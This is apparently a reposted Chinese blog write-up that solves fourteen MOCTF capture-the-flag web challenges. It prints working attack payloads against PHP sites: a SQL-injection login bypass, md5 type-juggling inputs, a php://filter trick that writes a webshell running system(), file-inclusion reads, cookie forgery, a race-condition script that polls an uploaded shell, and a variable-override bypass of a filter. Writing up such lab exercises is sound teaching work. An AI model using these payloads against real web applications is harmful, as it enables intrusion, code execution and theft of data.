MOCTF web writeup


前幾天發現一個不錯的平台MOCTF但一直沒時間刷。這幾天陸續更新web題的wp

 

web1:一道水題

進去一堆青蛙

查看源代碼,看到flag

 

 

web2:還是水題

發現密碼框輸入不了,遂F12審查元素,刪除disable屬性,以及將長度改為5,輸入moctf。得到flag

 

 

 web3:訪問限制

題目提示用NAIVE瀏覽器,於是想到burp改user-agent:NAIVE

run得到flag

 

 

web4:機器蛇

 

這道題。。。。我。。。一進去玩了半天的貪吃蛇。。。。

后來隨手審查了元素,發現robots.txt點進去后發現flag327a6c4304ad5938eaf0efb6cc3e53dc.php

進去F12找到flag

 

 

web5:PHP黑魔法

題目提示php~

進去后查看源代碼,php黑魔法。

大致意思就是

1.輸入a,b兩個參數,都不能為空

2.這兩個參數不能相等

3.這兩個參數經過md5加密后相等。

條件2和條件3貌似沖突。

兩種方法:

1.構造數組,md5加密遇到數組時都返回false,於是相等,但值並不相等。?a[]=1&b[]=2

2.md5加密后0e開頭的都相等,例如:240610708 和 QNKCDZO。   ?a=240610708&b=QNKCDZO

兩種方法都得到了flag

 

 

web6:我想要錢

進去也是php審計

 

 需要滿足四個條件就會得到flag

1.參數為money,並且為get傳遞

2.money的長度要小於4

3.money要大於time(),time()返回的值百度了一下,貌似是從1970年到現在的秒數,反正就是特別大。

4.money不能是數組

自然想到科學計數法,構造?money=2e10 得到flag

 

web7:登錄就對了

一看就是sql注入題,用戶名構造萬能密碼:'or '1' = '1' #   密碼任意  得到flag

 

web8:Flag在哪?

頁面只有一個超鏈接,點擊並burp,一開始什么都沒發現,后來看到有302跳轉,跳轉到了五個頁面分別為:

/where_is_flag.php

/flag.php

/I_have_a_frog.php

/I_have_a_flag.php

/no_flag.php

猜測flag應該在flagfrog.php或者frogflag.php

訪問兩個頁面都沒有結果,再burp,都得到了flag。。。。。腦洞大的很。。。

 

web9:死亡退出

參考鏈接:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

遂寫shell並base64編碼,之后再解碼的時候,符<、?、;、>、空格等一共有7個字符不符合base64編碼的字符范圍將被忽略,所以最終被解碼的字符僅有“phpexit”和我們傳入的其他字符。

但base64算法解碼時是4個byte一組,所以給他增加1個“a”一共8個字符。這樣,"phpexita"被正常解碼,而后面我們傳入的webshell的base64內容也被正常解碼。結果就是<?php exit; ?>沒有了。

構造shell:<?php system('cat flag.php');?>    base64加密后為:aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

再結合tmp.php構造payload為c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==&file=php://filter/write=convert.base64-decode/resource=tmp.php

審查元素得到flag

 

 

web10:文件包含

查看源代碼看到提示信息flag.php,結合題目文件包含

構造payload:?file=php://filter/convert.base64-encode/resource=flag.php

得到一串加密字符,base64解密得到flag

 

web11:美味的餅干

進去就是一個登陸頁面,嘗試弱密碼登錄admin,admin順利登錄,后來發現貌似隨意一個賬號密碼都能進去。。。。

抓包發現一串字符串:SET-COOKIE:ZWUxMWNiYjE5MDUyZTQwYjA3YWFjMGNhMDYwYzIzZWU%3D

%3D是“=”的URL編碼,所以對ZWUxMWNiYjE5MDUyZTQwYjA3YWFjMGNhMDYwYzIzZWU=進行base64解碼,得到MD5密文ee11cbb19052e40b07aac0ca060c23ee,解密后得到user

所以使用admin先md5后base64,加上cookie,得到flag

 

web12:火眼金睛

題目就是2秒刷新一次,計數moctf,放python腳本

import requests
import re
targeturl = "http://119.23.73.3:5001/web10/"
r = requests.get(url=targeturl)
res_tr = r"'100'>(.*?)</textarea>"
flagtxt =  re.findall(res_tr,r.content)[0]
re_moctf = r"moctf"
moctf = re.findall(re_moctf,flagtxt)
number = len(moctf)
ans = {
    "answer":number
}
url2 = "http://119.23.73.3:5001/web10/work.php"
s = requests.post(url=url2,data=ans,cookies=r.cookies)
print s.content

 

 web13:沒時間解釋了

 點進題目發現是index2.php,想到302跳轉,burp查看

訪問uploadsomething.php頁面

寫入文件會顯示出文件地址,但是當去訪問它的時候,會顯示Too slow!

猜測服務器會自動刪除文件,但是文件在上傳至服務器和被刪除這中間有微小的時間間隔。

利用條件競爭,一邊利用burp不斷發送文件,另一邊不斷去讀取文件地址,附py腳本

#-*- coding:utf-8 -*-
import requests
url="http://119.23.73.3:5006/web2/uploads/d0bdc1c72726993c38f7522c91150cc27c0b6148/shell.php"
while 1:
    print(requests.get(url).text)

得到flag。

 web14:unset

<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
        if(preg_match('/flag/i',$key)){
        exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
        if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
     }

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['daiker']){
        exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
        include($_GET['file']);
}
}

?>

題目原型是 Destoon 20140530最新版超全局變量覆蓋導致的安全問題

http://www.secevery.com:4321/bugs/wooyun-2014-063895

代碼執行順序是unset->waf->extract

所以我們的思路就有了,通過unset繞過waf函數再接着extract重塑變量

foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
        if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
     }

}

這一段是核心的部分,遍歷數組,存放在臨時變量$__R中,$$__R也就是$__R的值,$__R作為變量名。

將$$__R存放在$__v變量中。$__k也就是_GET[flag],而$$__k就是_GET[flag]的值

再利用md5碰撞,達到unset_GET[flag]的目的,從而繞過waf函數,緊接着一個extract又將_GET[flag]恢復過來,從而偽協議讀取flag.php

payload:

得到flag。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM